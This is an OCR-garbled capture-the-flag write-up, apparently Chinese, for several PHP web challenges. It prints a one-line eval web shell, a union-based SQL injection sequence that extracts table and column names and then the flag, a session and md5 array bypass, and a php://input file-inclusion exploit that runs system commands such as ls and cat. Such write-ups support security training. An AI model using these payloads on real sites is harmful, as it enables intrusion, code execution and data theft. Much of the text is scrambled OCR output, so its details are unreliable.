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X R — AR AR SO EAEEE ;s B — /NS ERIphp/N X — T <?php @eval($_POST[ 'smk']);?>
RIE RIS R LAY, HE <2 php I T

FREM ERE S —A—A1E, KphplRKE ST BEUEIT:

<script language="pHp">@eval($_POST[ 'smk'])</script>
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HERE: HEASSRIFRZENEN, BHEIE!

alf==-31

Flag: ‘ ‘ Rar

wais:  Jllamy pan  Bicqf7abobd7 B wox
IEArWriteupERELR

TIT/8H :

& 5 C O F=£| 4eec7cd5dc23494ba2a%aab98d7912df094ff7bf82dd4802.changame.ichungiu.com/index.php?id=1

R waeiE-csongzE ) citHub @ s=anm W BugkucTr-453.. @ =3B UV =gk s, 3 E2ER

flag{EEUERE+ )
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@ Load URL | http://4eec7cd5dc23494ba2a%aab08d7912df094ff7bf82dd4802.changame.ichungiu.com/index.php?id=1 ord<>er by 3
% split URL

' Execute

[1Enable Post data [] Enable Referrer

flag{TEEIREE+F)

MARTBRECNS, ETRMBEEHFRNT, BT, BERREBTE

@l load URL | httpy//deecicdsdc23494ba2a9aab08d7912df094ff7hf82dd4802.changame.ichungiu.com/index. php?id=1 union sele<>ct 1,database(),3
% splitURL

¥ Execute

[] Enable Post data [] Enable Referrer

flag{fEiREE+)

sqli




@l Load URL | hitp://4eec7cd5dc23494ba2a%ab98d7912df094ff7bi82dd4802.changame.ichungiu.com/index.php?id=1 union sele<>ct 1,group_concat(table_name),3 from information_schema.tables where
SL‘ Split URL table_schema='sqli'

') Execute
[] Enable Post data [ Enable Referrer
flagifegiErE}
info,users

@l Load URL | http://4eec7cd5dc23494ba2a%ab98d7912df094ff7bf82dd4802.changame.ichungiu.com/index.php?id=1 union sele<>ct 1,group_concat(column_name),3 from information_schema.columns
g{; Split URL where table_name='"info’

] Execute

[] Enable Post data [ Enable Referrer

flagiTESiERF+}

id title, flAg_T5ZNdrm

@l Load URL | http://4eec7cd5dc23494ba2a%aaba8d7912df094ff7bf82dd4802.changame.ichungiu.com/index.php?id=1 union sele<=ct 1,flAg TSZNdrm,2 from info
i =
% splitURL

» Execute

[] Enable Post data [ | Enable Referrer

flag{{E&=E+)
flag{aef1e0da-ddd5-4a52-98e4-f37dedcdfb1f}
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SE: 105 #E3: Misc Web TEER: B8E-3 ERE

IERE: ETENEER.

Hag:‘ ‘ 23

gais:  llspoa B nsFo [ Eox
BEArWriteupTFELREM

fIFE8H, &3|—Bphpi&Ea):

error_reporting(@);// XKHEHRE

session_start();//Bah<iE

require('./flag.php');

if(!isset($_SESSION[ 'nums'])){//isset() — MNEERTRKE.
$_SESSION[ 'nums'] = ©;
$_SESSION['time'] = time();//iREIZATEF A Unix B [AJEL
$_SESSION[ 'whoami'] = 'ea';

}

if($_SESSION[ "time']+120<time()){
session_destroy();//session_destroy — 44&—A &t B HIE
}//120s ERELER

$value = $_REQUEST[ 'value'];

$str_rand = range('a', 'z');//rangeflEZ—AEEMN "a" B "z" ZEKTEGENEA

$str_rands = $str_rand[mt_rand(@,25)].$str_rand[mt_rand(0,25)];//mt_rand() fEH Mersenne Twister HiZiR[E0F|252 [
HIBENI S . $str_rand[mt_rand(0,25)]iRE"a" # "z"ZEMERFEE. $str_rand[mt_rand(@,25)].$str_rand[mt_rand(@,25)]%&
PR FEEEE

if($_SESSION[ 'whoami']==($value[0].$value[1l]) && substr(md5($value),5,4)==0){//substr(string,start,length). ===
RAFEZRESHAUTLME. =RARUEFENMENERTHEE, HFsubstrBERS, MBEFLEMEESBHIELREITF, BAMOME.
$_SESSION[ 'nums']++;
$ SESSION[ 'whoami'] = $str_rands;
echo $str_rands;

}

if($_SESSION[ 'nums']>=10){//f&¥ 10t flag, BIIWME
echo $flag;

}

show_source(__FILE_ );
?>
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4 substr(mds($value),5,4)==0 XFME KL .
F R ERRI T 18] T IX BeARAD $_SESSION[ 'whoami'] = 'ea'; FRATESLAEN 2value[]=ea

ManumsHLL EH, $_SEESION[ 'whoami'] = BEHL2AFE

FEE B, RATERER K FRFEE $value[0] . $value[1] MERIT, REHREKRTEF10K, AT iHfag .

@ Lload URL | http://9e7f0069a52c4571babc0bba278eeddf42294134fc444bd9.changame.ichungiu.com/?value=ea
& split URL
s Execute
[ ] Enable Post data [ | Enable Referrer
kg <?php

error_reporting(0) ;

session_start():

require(’ . /flag. php’ ) :

if (!isset($_SESSION[ nums’ 1)) {
$ SESSION[ nums’ | = 0:

2 ERTRIEFR 101K )5 far i flag:

< C ® AZ=% | 3853620a2d32478c9458eef8f9e438ad02cf926655d84eeb.changame.ichungiu.com/?value[]=ft
== wagE-csoNEzE ) cittub @ ==xmem WV BugkuCTr-%3.. @ 3B V ailEs eviss. B s

hdflag{1c66522c-d38f-47fa-8da2-5b215335b43a} <ophp

error_reporting (0)

session_start();

require(’ . /flag. php ) ;

if(lisset ($_SESSION[ rums’ 1)) {
F_SESSION[ rums’ ] = 0
$_SESSIONL time’] = time();
3 SESSION[ whoami’] = “ea

)
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1. ZphpFF/Fallow_url_include B &, B LA php://inputth B 306 & ST 4
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STE: 509 =7 Web FHEFR: include =EEE

FERE: E! HEXEaEREA.
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1. php:/finput
Mg a: AHbwebfR 43318 B 3 TF X phpinput_server.php , AREGUWITF:

<?php
$a = $_GET['a'];
$raw_post_data = file_get_contents($a,'r');// 'php://input’
echo $raw_post_data;

?>
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HibE =8y NI/ : http://localhost/phpinput_server.php?a=php://input
postiE BB N\ — B A

Excute)5, £ 7E T i X BB

http://localho...a=php://input  x

| (-@ localhost/phpinput_server.php?a=p @ 28 v C'| [&]- 5= <C‘mf+ﬁ.’.P‘ v B 4 » ‘

B2z T By el
INT v| = & SQL- XSS- Encryption- Encoding- Other-

@ Load URL | http://localhost/phpinput_server.php?a=php://input
4 split URL

¥ Execute

Enable Post data [ | Enable Referrer
Post data aaaaad

ddaaaa

g A7 AT PR R M post 4R, EANBEFRIN ge iR .
BRI H R aE, BRITRE T REBER RS

allow_url_include

allow_url fopen Off Off

allow_url- On On

4 allow_url_include JNONIM allow_url fopen ANOfKIEE, FATET LLHHphp:/inputty th T8 &

@ Load URL | http://b70535dc4bcf42de83925b0eb6c98276a7edel199ae8434a.changame.ichungiu.com/?path=php://input
% split URL
+ Execute
[] Enable Post data [_] Enable Referrer
Post data <?php system(ls) ?>
<?php

show _source( FILE ):
if (isset ($_REQUEST[ path’])) {
include ($_REQUEST[ path’]) ;
lelse]
include (" phpinfo. php’ ) ;
}

dle345aae.php index.php phpinfo.php
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2% dle345aae.php:
INT ¥ = & SQL- XSS+ Encryption Encoding~ Other-
@ Load URL http://78d535b6d56f4bc5ac27ec333b8755f2512b7d23543d49bd.changame.ichungiu.com/?path=php://input
% split URL
' Execute
Enable Post data [ Enable Referrer
Post data <?php system("cat dle345aae.php") ?>
<{?php

show_source(_ FILE )

if (isset ($_REQUEST[ path’ 1)) {
include ($_REQUEST[ path’]);

telsed

}

include (" phpinfo. php' ) ;

HREFIRN: H3fag

{code><{span style="color: #000000">

{span style="color: #0000BB”>&1t:?php&nbsp:<br />show_source</span><spar
{/span>

{/code> <?php

$rflag="flag {03374390-4885—4b659cea—9b29b4edfbe7} " ;
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